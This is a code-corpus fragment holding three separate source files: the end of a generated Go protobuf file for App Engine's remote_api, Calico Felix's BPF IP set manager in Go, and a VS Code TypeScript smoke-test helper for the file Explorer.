{\n\treturn fileDescriptor_remote_api_1978114ec33a273d, []int{0}\n}\nfunc (m *Request) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_Request.Unmarshal(m, b)\n}\nfunc (m *Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_Request.Marshal(b, m, deterministic)\n}\nfunc (dst *Request) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_Request.Merge(dst, src)\n}\nfunc (m *Request) XXX_Size() int {\n\treturn xxx_messageInfo_Request.Size(m)\n}\nfunc (m *Request) XXX_DiscardUnknown() {\n\txxx_messageInfo_Request.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_Request proto.InternalMessageInfo\n\nfunc (m *Request) GetServiceName() string {\n\tif m != nil && m.ServiceName != nil {\n\t\treturn *m.ServiceName\n\t}\n\treturn \"\"\n}\n\nfunc (m *Request) GetMethod() string {\n\tif m != nil && m.Method != nil {\n\t\treturn *m.Method\n\t}\n\treturn \"\"\n}\n\nfunc (m *Request) GetRequest() []byte {\n\tif m != nil {\n\t\treturn m.Request\n\t}\n\treturn nil\n}\n\nfunc (m *Request) GetRequestId() string {\n\tif m != nil && m.RequestId != nil {\n\t\treturn *m.RequestId\n\t}\n\treturn \"\"\n}\n\ntype ApplicationError struct {\n\tCode                 *int32   `protobuf:\"varint,1,req,name=code\" json:\"code,omitempty\"`\n\tDetail               *string  `protobuf:\"bytes,2,req,name=detail\" json:\"detail,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized     []byte   `json:\"-\"`\n\tXXX_sizecache        int32    `json:\"-\"`\n}\n\nfunc (m *ApplicationError) Reset()         { *m = ApplicationError{} }\nfunc (m *ApplicationError) String() string { return proto.CompactTextString(m) }\nfunc (*ApplicationError) ProtoMessage()    {}\nfunc (*ApplicationError) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_remote_api_1978114ec33a273d, []int{1}\n}\nfunc (m *ApplicationError) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_ApplicationError.Unmarshal(m, b)\n}\nfunc (m *ApplicationError) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_ApplicationError.Marshal(b, m, deterministic)\n}\nfunc (dst *ApplicationError) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_ApplicationError.Merge(dst, src)\n}\nfunc (m *ApplicationError) XXX_Size() int {\n\treturn xxx_messageInfo_ApplicationError.Size(m)\n}\nfunc (m *ApplicationError) XXX_DiscardUnknown() {\n\txxx_messageInfo_ApplicationError.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_ApplicationError proto.InternalMessageInfo\n\nfunc (m *ApplicationError) GetCode() int32 {\n\tif m != nil && m.Code != nil {\n\t\treturn *m.Code\n\t}\n\treturn 0\n}\n\nfunc (m *ApplicationError) GetDetail() string {\n\tif m != nil && m.Detail != nil {\n\t\treturn *m.Detail\n\t}\n\treturn \"\"\n}\n\ntype RpcError struct {\n\tCode                 *int32   `protobuf:\"varint,1,req,name=code\" json:\"code,omitempty\"`\n\tDetail               *string  `protobuf:\"bytes,2,opt,name=detail\" json:\"detail,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized     []byte   `json:\"-\"`\n\tXXX_sizecache        int32    `json:\"-\"`\n}\n\nfunc (m *RpcError) Reset()         { *m = RpcError{} }\nfunc (m *RpcError) String() string { return proto.CompactTextString(m) }\nfunc (*RpcError) ProtoMessage()    {}\nfunc (*RpcError) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_remote_api_1978114ec33a273d, []int{2}\n}\nfunc (m *RpcError) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_RpcError.Unmarshal(m, b)\n}\nfunc (m *RpcError) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_RpcError.Marshal(b, m, deterministic)\n}\nfunc (dst *RpcError) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_RpcError.Merge(dst, src)\n}\nfunc (m *RpcError) XXX_Size() int {\n\treturn xxx_messageInfo_RpcError.Size(m)\n}\nfunc (m *RpcError) XXX_DiscardUnknown() {\n\txxx_messageInfo_RpcError.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_RpcError proto.InternalMessageInfo\n\nfunc (m *RpcError) GetCode() int32 {\n\tif m != nil && m.Code != nil {\n\t\treturn *m.Code\n\t}\n\treturn 0\n}\n\nfunc (m *RpcError) GetDetail() string {\n\tif m != nil && m.Detail != nil {\n\t\treturn *m.Detail\n\t}\n\treturn \"\"\n}\n\ntype Response struct {\n\tResponse             []byte            `protobuf:\"bytes,1,opt,name=response\" json:\"response,omitempty\"`\n\tException            []byte            `protobuf:\"bytes,2,opt,name=exception\" json:\"exception,omitempty\"`\n\tApplicationError     *ApplicationError `protobuf:\"bytes,3,opt,name=application_error,json=applicationError\" json:\"application_error,omitempty\"`\n\tJavaException        []byte            `protobuf:\"bytes,4,opt,name=java_exception,json=javaException\" json:\"java_exception,omitempty\"`\n\tRpcError             *RpcError         `protobuf:\"bytes,5,opt,name=rpc_error,json=rpcError\" json:\"rpc_error,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{}          `json:\"-\"`\n\tXXX_unrecognized     []byte            `json:\"-\"`\n\tXXX_sizecache        int32             `json:\"-\"`\n}\n\nfunc (m *Response) Reset()         { *m = Response{} }\nfunc (m *Response) String() string { return proto.CompactTextString(m) }\nfunc (*Response) ProtoMessage()    {}\nfunc (*Response) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_remote_api_1978114ec33a273d, []int{3}\n}\nfunc (m *Response) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_Response.Unmarshal(m, b)\n}\nfunc (m *Response) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_Response.Marshal(b, m, deterministic)\n}\nfunc (dst *Response) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_Response.Merge(dst, src)\n}\nfunc (m *Response) XXX_Size() int {\n\treturn xxx_messageInfo_Response.Size(m)\n}\nfunc (m *Response) XXX_DiscardUnknown() {\n\txxx_messageInfo_Response.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_Response proto.InternalMessageInfo\n\nfunc (m *Response) GetResponse() []byte {\n\tif m != nil {\n\t\treturn m.Response\n\t}\n\treturn nil\n}\n\nfunc (m *Response) GetException() []byte {\n\tif m != nil {\n\t\treturn m.Exception\n\t}\n\treturn nil\n}\n\nfunc (m *Response) GetApplicationError() *ApplicationError {\n\tif m != nil {\n\t\treturn m.ApplicationError\n\t}\n\treturn nil\n}\n\nfunc (m *Response) GetJavaException() []byte {\n\tif m != nil {\n\t\treturn m.JavaException\n\t}\n\treturn nil\n}\n\nfunc (m *Response) GetRpcError() *RpcError {\n\tif m != nil {\n\t\treturn m.RpcError\n\t}\n\treturn nil\n}\n\nfunc init() {\n\tproto.RegisterType((*Request)(nil), \"remote_api.Request\")\n\tproto.RegisterType((*ApplicationError)(nil), \"remote_api.ApplicationError\")\n\tproto.RegisterType((*RpcError)(nil), \"remote_api.RpcError\")\n\tproto.RegisterType((*Response)(nil), \"remote_api.Response\")\n}\n\nfunc init() {\n\tproto.RegisterFile(\"google.golang.org/appengine/internal/remote_api/remote_api.proto\", fileDescriptor_remote_api_1978114ec33a273d)\n}\n\nvar fileDescriptor_remote_api_1978114ec33a273d = []byte{\n\t// 531 bytes of a gzipped FileDescriptorProto\n\t0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0x8c, 0x93, 0x51, 0x6e, 0xd3, 0x40,\n\t0x10, 0x86, 0xb1, 0x9b, 0x34, 0xf1, 0xc4, 0x2d, 0xdb, 0xa5, 0x14, 0x0b, 0x15, 0x29, 0x44, 0x42,\n\t0xca, 0x53, 0x2a, 0x38, 0x00, 0x62, 0x63, 0x6f, 0x91, 0x85, 0x65, 0xa7, 0x6b, 0xbb, 0x50, 0x5e,\n\t0x56, 0x2b, 0x67, 0x65, 0x8c, 0x12, 0xaf, 0xd9, 0x98, 0x8a, 0x17, 0x6e, 0xc0, 0xb5, 0x38, 0x0c,\n\t0xb7, 0x40, 0x36, 0x6e, 0x63, 0xf5, 0x89, 0xb7, 0x7f, 0x7e, 0x7b, 0xe6, 0x1b, 0xcd, 0xcc, 0xc2,\n\t0xbb, 0x5c, 0xa9, 0x7c, 0x23, 0x17, 0xb9, 0xda, 0x88, 0x32, 0x5f, 0x28, 0x9d, 0x5f, 0x88, 0xaa,\n\t0x92, 0x65, 0x5e, 0x94, 0xf2, 0xa2, 0x28, 0x6b, 0xa9, 0x4b, 0xb1, 0xb9, 0xd0, 0x72, 0xab, 0x6a,\n\t0xc9, 0x45, 0x55, 0xf4, 0xe4, 0xa2, 0xd2, 0xaa, 0x56, 0x18, 0xf6, 0xce, 0xec, 0x27, 0x8c, 0x98,\n\t0xfc, 0xf6, 0x5d, 0xee, 0x6a, 0xfc, 0x12, 0xec, 0x9d, 0xd4, 0xb7, 0x45, 0x26, 0x79, 0x29, 0xb6,\n\t0xd2, 0x31, 0xa7, 0xe6, 0xdc, 0x62, 0x93, 0xce, 0x0b, 0xc5, 0x56, 0xe2, 0x33, 0x38, 0xdc, 0xca,\n\t0xfa, 0x8b, 0x5a, 0x3b, 0x07, 0xed, 0xc7, 0x2e, 0xc2, 0x0e, 0x8c, 0xf4, 0xbf, 0x2a, 0xce, 0x60,\n\t0x6a, 0xce, 0x6d, 0x76, 0x17, 0xe2, 0x17, 0x00, 0x9d, 0xe4, 0xc5, 0xda, 0x19, 0x4e, 0x8d, 0xb9,\n\t0xc5, 0xac, 0xce, 0xf1, 0xd7, 0xb3, 0xb7, 0x80, 0x48, 0x55, 0x6d, 0x8a, 0x4c, 0xd4, 0x85, 0x2a,\n\t0xa9, 0xd6, 0x4a, 0x63, 0x0c, 0x83, 0x4c, 0xad, 0xa5, 0x63, 0x4c, 0xcd, 0xf9, 0x90, 0xb5, 0xba,\n\t0x01, 0xaf, 0x65, 0x2d, 0x8a, 0x4d, 0xd7, 0x55, 0x17, 0xcd, 0x7e, 0x9b, 0x30, 0x66, 0x55, 0xf6,\n\t0x7f, 0x89, 0x46, 0x2f, 0xf1, 0x97, 0x09, 0x56, 0x9b, 0xe5, 0x36, 0x7f, 0x4d, 0x60, 0x94, 0x86,\n\t0x1f, 0xc2, 0xe8, 0x63, 0x88, 0x1e, 0x61, 0x0c, 0xc7, 0x2e, 0x09, 0x02, 0x1e, 0x46, 0x09, 0xbf,\n\t0x8c, 0xd2, 0xd0, 0x43, 0x06, 0x7e, 0x0c, 0x93, 0x15, 0x61, 0x31, 0xe5, 0x94, 0xb1, 0x88, 0x21,\n\t0x13, 0x9f, 0x01, 0x8e, 0xa9, 0x9b, 0x32, 0x3f, 0xb9, 0xe1, 0xd7, 0x7e, 0x14, 0x90, 0xc4, 0x8f,\n\t0x42, 0x74, 0x80, 0x8f, 0x01, 0xa2, 0x6b, 0xca, 0xf8, 0x55, 0x1a, 0x25, 0x04, 0x0d, 0xf0, 0x53,\n\t0x38, 0x61, 0xf4, 0x2a, 0xa5, 0x71, 0xc2, 0x93, 0x28, 0xe2, 0x01, 0x61, 0xef, 0x29, 0x1a, 0xe2,\n\t0x67, 0xf0, 0xc4, 0x25, 0x2b, 0xb2, 0xf4, 0x83, 0xa6, 0x80, 0xe7, 0xc7, 0x64, 0x19, 0x50, 0x0f,\n\t0x1d, 0xe2, 0x53, 0x40, 0x97, 0x94, 0x24, 0x29, 0xa3, 0x7b, 0x77, 0xd4, 0xe0, 0x97, 0xc4, 0xe3,\n\t0x5d, 0x25, 0x34, 0x6e, 0xf0, 0x8c, 0xc6, 0xab, 0x28, 0x8c, 0x69, 0xaf, 0xae, 0x85, 0x8f, 0xc0,\n\t0x72, 0x49, 0xe8, 0xd2, 0xa0, 0xc9, 0x03, 0x8c, 0xc0, 0x66, 0x74, 0x15, 0x90, 0x9b, 0xae, 0xef,\n\t0x49, 0xd3, 0x8f, 0x47, 0x89, 0x17, 0xf8, 0x21, 0xe5, 0xf4, 0x93, 0x4b, 0xa9, 0x47, 0x3d, 0x64,\n\t0xcf, 0xfe, 0x18, 0x30, 0x66, 0x72, 0x57, 0xa9, 0x72, 0x27, 0xf1, 0x73, 0x18, 0xeb, 0x4e, 0x3b,\n\t0xc6, 0xd4, 0x98, 0xdb, 0xec, 0x3e, 0xc6, 0xe7, 0x60, 0xc9, 0x1f, 0x99, 0xac, 0x9a, 0x75, 0xb5,\n\t0x23, 0xb5, 0xd9, 0xde, 0xc0, 0x3e, 0x9c, 0x88, 0xfd, 0x3a, 0xb9, 0x6c, 0x06, 0xec, 0x1c, 0x4c,\n\t0x8d, 0xf9, 0xe4, 0xcd, 0xf9, 0xa2, 0x77, 0x87, 0x0f, 0x77, 0xce, 0x90, 0x78, 0x78, 0x05, 0xaf,\n\t0xe0, 0xf8, 0xab, 0xb8, 0x15, 0x7c, 0x4f, 0x1b, 0xb4, 0xb4, 0xa3, 0xc6, 0xa5, 0xf7, 0xc4, 0xd7,\n\t0x60, 0xe9, 0x2a, 0xeb, 0x48, 0xc3, 0x96, 0x74, 0xda, 0x27, 0xdd, 0x1d, 0x07, 0x1b, 0xeb, 0x4e,\n\t0x2d, 0xed, 0xcf, 0xbd, 0x07, 0xf0, 0x37, 0x00, 0x00, 0xff, 0xff, 0x38, 0xd1, 0x0f, 0x22, 0x4f,\n\t0x03, 0x00, 0x00,\n}\n"}
+{"text": "// Copyright (c) 2019-2020 Tigera, Inc. All rights reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//     http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage intdataplane\n\nimport (\n\t\"time\"\n\n\t\"github.com/prometheus/client_golang/prometheus\"\n\n\t\"github.com/projectcalico/felix/bpf/ipsets\"\n\n\t\"github.com/projectcalico/felix/idalloc\"\n\n\tlog \"github.com/sirupsen/logrus\"\n\n\t\"github.com/projectcalico/felix/bpf\"\n\t\"github.com/projectcalico/felix/proto\"\n\t\"github.com/projectcalico/libcalico-go/lib/set\"\n)\n\nvar (\n\tbpfIPSetsGauge = prometheus.NewGauge(prometheus.GaugeOpts{\n\t\tName: \"felix_bpf_num_ip_sets\",\n\t\tHelp: \"Number of BPF IP sets managed in the dataplane.\",\n\t})\n)\n\nfunc init() {\n\tprometheus.MustRegister(bpfIPSetsGauge)\n}\n\ntype bpfIPSetManager struct {\n\t// ipSets contains an entry for each IP set containing the state of that IP set.\n\tipSets map[uint64]*bpfIPSet\n\n\tipSetIDAllocator *idalloc.IDAllocator\n\n\tbpfMap bpf.Map\n\n\tdirtyIPSetIDs   set.Set\n\tresyncScheduled bool\n}\n\nfunc newBPFIPSetManager(ipSetIDAllocator *idalloc.IDAllocator, ipSetsMap bpf.Map) *bpfIPSetManager {\n\treturn &bpfIPSetManager{\n\t\tipSets:           map[uint64]*bpfIPSet{},\n\t\tdirtyIPSetIDs:    set.New(), /*set entries are uint64 IDs */\n\t\tbpfMap:           ipSetsMap,\n\t\tresyncScheduled:  true,\n\t\tipSetIDAllocator: ipSetIDAllocator,\n\t}\n}\n\nfunc (m *bpfIPSetManager) OnUpdate(msg interface{}) {\n\tswitch msg := msg.(type) {\n\t// IP set-related messages.\n\tcase *proto.IPSetDeltaUpdate:\n\t\t// Deltas are extremely common: IPs being added and removed as workloads come and go.\n\t\tm.onIPSetDeltaUpdate(msg)\n\tcase *proto.IPSetUpdate:\n\t\t// Updates are usually only seen when a new IP set is created.\n\t\tm.onIPSetUpdate(msg)\n\tcase *proto.IPSetRemove:\n\t\tm.onIPSetRemove(msg)\n\t}\n}\n\n// getExistingIPSetString gets the IP set data given the string set ID; returns nil if the IP set wasn't present.\n// Never allocates an IP set ID from the allocator.\nfunc (m *bpfIPSetManager) getExistingIPSetString(setID string) *bpfIPSet {\n\tid := m.ipSetIDAllocator.GetNoAlloc(setID)\n\tif id == 0 {\n\t\treturn nil\n\t}\n\treturn m.ipSets[id]\n}\n\n// getExistingIPSet gets the IP set data given the uint64 ID; returns nil if the IP set wasn't present.\n// Never allocates an IP set ID from the allocator.\nfunc (m *bpfIPSetManager) getExistingIPSet(setID uint64) *bpfIPSet {\n\treturn m.ipSets[setID]\n}\n\n// getOrCreateIPSet gets the IP set data given the string set ID; allocates a new uint64 ID and creates the tracking\n// struct if needed.  The returned struct will never have Deleted=true.\n//\n// Call deleteIPSetAndReleaseID to release the ID again and discard the tracking struct.\nfunc (m *bpfIPSetManager) getOrCreateIPSet(setID string) *bpfIPSet {\n\tid := m.ipSetIDAllocator.GetOrAlloc(setID)\n\tipSet := m.ipSets[id]\n\tif ipSet == nil {\n\t\tipSet = &bpfIPSet{\n\t\t\tID:             id,\n\t\t\tOriginalID:     setID,\n\t\t\tDesiredEntries: set.New(),\n\t\t\tPendingAdds:    set.New(),\n\t\t\tPendingRemoves: set.New(),\n\t\t}\n\t\tm.ipSets[id] = ipSet\n\t} else {\n\t\t// Possible that this IP set was queued for deletion but it just got recreated.\n\t\tipSet.Deleted = false\n\t}\n\treturn ipSet\n}\n\n// deleteIPSetAndReleaseID deleted the IP set tracking struct from the map and releases the ID.\nfunc (m *bpfIPSetManager) deleteIPSetAndReleaseID(ipSet *bpfIPSet) {\n\tdelete(m.ipSets, ipSet.ID)\n\terr := m.ipSetIDAllocator.ReleaseUintID(ipSet.ID)\n\tif err != nil {\n\t\tlog.WithField(\"id\", ipSet.ID).WithError(err).Panic(\"Failed to release IP set UID\")\n\t}\n}\n\nfunc (m *bpfIPSetManager) onIPSetUpdate(msg *proto.IPSetUpdate) {\n\tipSet := m.getOrCreateIPSet(msg.Id)\n\tlog.WithFields(log.Fields{\"stringID\": msg.Id, \"uint64ID\": ipSet.ID}).Info(\"IP set added\")\n\tipSet.ReplaceMembers(msg.Members)\n\tm.markIPSetDirty(ipSet)\n}\n\nfunc (m *bpfIPSetManager) onIPSetRemove(msg *proto.IPSetRemove) {\n\tipSet := m.getExistingIPSetString(msg.Id)\n\tif ipSet == nil {\n\t\tlog.WithField(\"setID\", msg.Id).Panic(\"Received deletion for unknown IP set\")\n\t\treturn\n\t}\n\tif ipSet.Deleted {\n\t\tlog.WithField(\"setID\", msg.Id).Panic(\"Received deletion for already-deleted IP set\")\n\t\treturn\n\t}\n\tipSet.RemoveAll()\n\tipSet.Deleted = true\n\tm.markIPSetDirty(ipSet)\n}\n\nfunc (m *bpfIPSetManager) onIPSetDeltaUpdate(msg *proto.IPSetDeltaUpdate) {\n\tipSet := m.getExistingIPSetString(msg.Id)\n\tif ipSet == nil {\n\t\tlog.WithField(\"setID\", msg.Id).Panic(\"Received delta for unknown IP set\")\n\t\treturn\n\t}\n\tif ipSet.Deleted {\n\t\tlog.WithField(\"setID\", msg.Id).Panic(\"Received delta for already-deleted IP set\")\n\t\treturn\n\t}\n\tlog.WithFields(log.Fields{\n\t\t\"stringID\": msg.Id,\n\t\t\"uint64ID\": ipSet.ID,\n\t\t\"added\":    len(msg.AddedMembers),\n\t\t\"removed\":  len(msg.RemovedMembers),\n\t}).Info(\"IP delta update\")\n\tfor _, member := range msg.RemovedMembers {\n\t\tentry := ipsets.ProtoIPSetMemberToBPFEntry(ipSet.ID, member)\n\t\tipSet.RemoveMember(entry)\n\t}\n\tfor _, member := range msg.AddedMembers {\n\t\tentry := ipsets.ProtoIPSetMemberToBPFEntry(ipSet.ID, member)\n\t\tipSet.AddMember(entry)\n\t}\n\tm.markIPSetDirty(ipSet)\n}\n\nfunc (m *bpfIPSetManager) CompleteDeferredWork() error {\n\tvar numAdds, numDels uint\n\tstartTime := time.Now()\n\n\terr := m.bpfMap.EnsureExists()\n\tif err != nil {\n\t\tlog.WithError(err).Panic(\"Failed to create IP set map\")\n\t}\n\n\tdebug := log.GetLevel() >= log.DebugLevel\n\tif m.resyncScheduled {\n\t\tlog.Info(\"Doing full resync of BPF IP sets map\")\n\t\tm.resyncScheduled = false\n\n\t\tm.dirtyIPSetIDs.Clear()\n\n\t\t// Start by configuring every IP set to add all its entries to the dataplane.  Then, as we scan the dataplane,\n\t\t// we'll make sure that each gets cleaned up.\n\t\tfor _, ipSet := range m.ipSets {\n\t\t\tipSet.PendingAdds = ipSet.DesiredEntries.Copy()\n\t\t\tipSet.PendingRemoves.Clear()\n\t\t}\n\n\t\tvar unknownEntries []ipsets.IPSetEntry\n\t\terr := m.bpfMap.Iter(func(k, v []byte) bpf.IteratorAction {\n\t\t\tvar entry ipsets.IPSetEntry\n\t\t\tcopy(entry[:], k)\n\t\t\tsetID := entry.SetID()\n\t\t\tif debug {\n\t\t\t\tlog.WithFields(log.Fields{\"setID\": setID,\n\t\t\t\t\t\"addr\":      entry.Addr(),\n\t\t\t\t\t\"prefixLen\": entry.PrefixLen()}).Debug(\"Found entry in dataplane\")\n\t\t\t}\n\t\t\tipSet := m.ipSets[setID]\n\t\t\tif ipSet == nil {\n\t\t\t\t// Found en entry from an unknown IP set.  Mark it for deletion at the end.\n\t\t\t\tunknownEntries = append(unknownEntries, entry)\n\t\t\t} else {\n\t\t\t\t// Entry is from a known IP set.  Check if the entry is wanted.\n\t\t\t\tif ipSet.DesiredEntries.Contains(entry) {\n\t\t\t\t\tipSet.PendingAdds.Discard(entry)\n\t\t\t\t} else {\n\t\t\t\t\tipSet.PendingRemoves.Add(entry)\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn bpf.IterNone\n\t\t})\n\t\tif err != nil {\n\t\t\tlog.WithError(err).Error(\"Failed to iterate over BPF map; IP sets may be out of sync\")\n\t\t\tm.resyncScheduled = true\n\t\t\treturn err\n\t\t}\n\n\t\tfor _, entry := range unknownEntries {\n\t\t\terr := m.bpfMap.Delete(entry[:])\n\t\t\tif err != nil {\n\t\t\t\tlog.WithError(err).WithField(\"key\", entry).Error(\"Failed to remove unexpected IP set entry\")\n\t\t\t\tm.resyncScheduled = true\n\t\t\t}\n\t\t}\n\n\t\tfor _, ipSet := range m.ipSets {\n\t\t\tif ipSet.Dirty() {\n\t\t\t\tm.markIPSetDirty(ipSet)\n\t\t\t}\n\t\t}\n\t}\n\n\tm.dirtyIPSetIDs.Iter(func(item interface{}) error {\n\t\tsetID := item.(uint64)\n\t\tleaveDirty := false\n\t\tipSet := m.getExistingIPSet(setID)\n\t\tif ipSet == nil {\n\t\t\tlog.WithField(\"id\", setID).Warn(\"Couldn't find IP set that was marked as dirty.\")\n\t\t\tm.resyncScheduled = true\n\t\t\treturn set.RemoveItem\n\t\t}\n\n\t\tipSet.PendingRemoves.Iter(func(item interface{}) error {\n\t\t\tentry := item.(ipsets.IPSetEntry)\n\t\t\tif debug {\n\t\t\t\tlog.WithFields(log.Fields{\"setID\": setID, \"entry\": entry}).Debug(\"Removing entry from IP set\")\n\t\t\t}\n\t\t\terr := m.bpfMap.Delete(entry[:])\n\t\t\tif err != nil {\n\t\t\t\tlog.WithFields(log.Fields{\"setID\": setID, \"entry\": entry}).WithError(err).Error(\"Failed to remove IP set entry\")\n\t\t\t\tleaveDirty = true\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tnumDels++\n\t\t\treturn set.RemoveItem\n\t\t})\n\n\t\tipSet.PendingAdds.Iter(func(item interface{}) error {\n\t\t\tentry := item.(ipsets.IPSetEntry)\n\t\t\tif debug {\n\t\t\t\tlog.WithFields(log.Fields{\"setID\": setID, \"entry\": entry}).Debug(\"Adding entry to IP set\")\n\t\t\t}\n\t\t\terr := m.bpfMap.Update(entry[:], ipsets.DummyValue)\n\t\t\tif err != nil {\n\t\t\t\tlog.WithFields(log.Fields{\"setID\": setID, \"entry\": entry}).WithError(err).Error(\"Failed to add IP set entry\")\n\t\t\t\tleaveDirty = true\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tnumAdds++\n\t\t\treturn set.RemoveItem\n\t\t})\n\n\t\tif leaveDirty {\n\t\t\tlog.WithField(\"setID\", setID).Debug(\"IP set still dirty, queueing resync\")\n\t\t\tm.resyncScheduled = true\n\t\t\treturn nil\n\t\t}\n\n\t\tif ipSet.Deleted {\n\t\t\t// Clean and deleted, time to release the IP set ID.\n\t\t\tm.deleteIPSetAndReleaseID(ipSet)\n\t\t}\n\n\t\tlog.WithField(\"setID\", setID).Debug(\"IP set is now clean\")\n\t\treturn set.RemoveItem\n\t})\n\n\tduration := time.Since(startTime)\n\tif numDels > 0 || numAdds > 0 {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"timeTaken\": duration,\n\t\t\t\"numAdds\":   numAdds,\n\t\t\t\"numDels\":   numDels,\n\t\t}).Info(\"Completed updates to BPF IP sets.\")\n\t}\n\n\tbpfIPSetsGauge.Set(float64(len(m.ipSets)))\n\n\treturn nil\n}\n\nfunc (m *bpfIPSetManager) markIPSetDirty(data *bpfIPSet) {\n\tm.dirtyIPSetIDs.Add(data.ID)\n}\n\ntype bpfIPSet struct {\n\tOriginalID string\n\tID         uint64\n\n\t// DesiredEntries contains all the entries that we _want_ to be in the set.\n\tDesiredEntries set.Set /* of IPSetEntry */\n\t// PendingAdds contains all the entries that we need to add to bring the dataplane into sync with DesiredEntries.\n\tPendingAdds set.Set /* of IPSetEntry */\n\t// PendingRemoves contains all the entries that we need to remove from the dataplane to bring the\n\t// dataplane into sync with DesiredEntries.\n\tPendingRemoves set.Set /* of IPSetEntry */\n\n\tDeleted bool\n}\n\nfunc (m *bpfIPSet) ReplaceMembers(members []string) {\n\tm.RemoveAll()\n\tm.AddMembers(members)\n}\n\nfunc (m *bpfIPSet) RemoveAll() {\n\tm.DesiredEntries.Iter(func(item interface{}) error {\n\t\tentry := item.(ipsets.IPSetEntry)\n\t\tm.RemoveMember(entry)\n\t\treturn nil\n\t})\n}\n\nfunc (m *bpfIPSet) AddMembers(members []string) {\n\tfor _, member := range members {\n\t\tentry := ipsets.ProtoIPSetMemberToBPFEntry(m.ID, member)\n\t\tm.AddMember(entry)\n\t}\n}\n\n// AddMember adds a member to the set of desired entries. Idempotent, if the member is already present, makes no change.\nfunc (m *bpfIPSet) AddMember(entry ipsets.IPSetEntry) {\n\tif m.DesiredEntries.Contains(entry) {\n\t\treturn\n\t}\n\tm.DesiredEntries.Add(entry)\n\tif m.PendingRemoves.Contains(entry) {\n\t\tm.PendingRemoves.Discard(entry)\n\t} else {\n\t\tm.PendingAdds.Add(entry)\n\t}\n}\n\n// RemoveMember removes a member from the set of desired entries. Idempotent, if the member is no present, makes no\n// change.\nfunc (m *bpfIPSet) RemoveMember(entry ipsets.IPSetEntry) {\n\tif !m.DesiredEntries.Contains(entry) {\n\t\treturn\n\t}\n\tm.DesiredEntries.Discard(entry)\n\tif m.PendingAdds.Contains(entry) {\n\t\tm.PendingAdds.Discard(entry)\n\t} else {\n\t\tm.PendingRemoves.Add(entry)\n\t}\n}\n\nfunc (m *bpfIPSet) Dirty() bool {\n\treturn m.PendingRemoves.Len() > 0 || m.PendingAdds.Len() > 0 || m.Deleted\n}\n"}
+{"text": "/*---------------------------------------------------------------------------------------------\n *  Copyright (c) Microsoft Corporation. All rights reserved.\n *  Licensed under the MIT License. See License.txt in the project root for license information.\n *--------------------------------------------------------------------------------------------*/\n\nimport { Viewlet } from './viewlet';\nimport { Editors } from './editors';\nimport { Code } from './code';\n\nexport class Explorer extends Viewlet {\n\n\tprivate static readonly EXPLORER_VIEWLET = 'div[id=\"workbench.view.explorer\"]';\n\tprivate static readonly OPEN_EDITORS_VIEW = `${Explorer.EXPLORER_VIEWLET} .split-view-view:nth-child(1) .title`;\n\n\tconstructor(code: Code, private editors: Editors) {\n\t\tsuper(code);\n\t}\n\n\tasync openExplorerView(): Promise {\n\t\tif (process.platform === 'darwin') {\n\t\t\tawait this.code.dispatchKeybinding('cmd+shift+e');\n\t\t} else {\n\t\t\tawait this.code.dispatchKeybinding('ctrl+shift+e');\n\t\t}\n\t}\n\n\tasync waitForOpenEditorsViewTitle(fn: (title: string) => boolean): Promise {\n\t\tawait this.code.waitForTextContent(Explorer.OPEN_EDITORS_VIEW, undefined, fn);\n\t}\n\n\tasync openFile(fileName: string): Promise {\n\t\tawait this.code.waitAndDoubleClick(`div[class=\"monaco-icon-label file-icon ${fileName}-name-file-icon ${this.getExtensionSelector(fileName)} explorer-item\"]`);\n\t\tawait this.editors.waitForEditorFocus(fileName);\n\t}\n\n\tgetExtensionSelector(fileName: string): string {\n\t\tconst extension = fileName.split('.')[1];\n\t\tif (extension === 'js') {\n\t\t\treturn 'js-ext-file-icon ext-file-icon javascript-lang-file-icon';\n\t\t} else if (extension === 'json') {\n\t\t\treturn 'json-ext-file-icon ext-file-icon json-lang-file-icon';\n\t\t} else if (extension === 'md') {\n\t\t\treturn 'md-ext-file-icon ext-file-icon markdown-lang-file-icon';\n\t\t}\n\t\tthrow new Error('No class defined for this file extension');\n\t}\n\n}\n"}
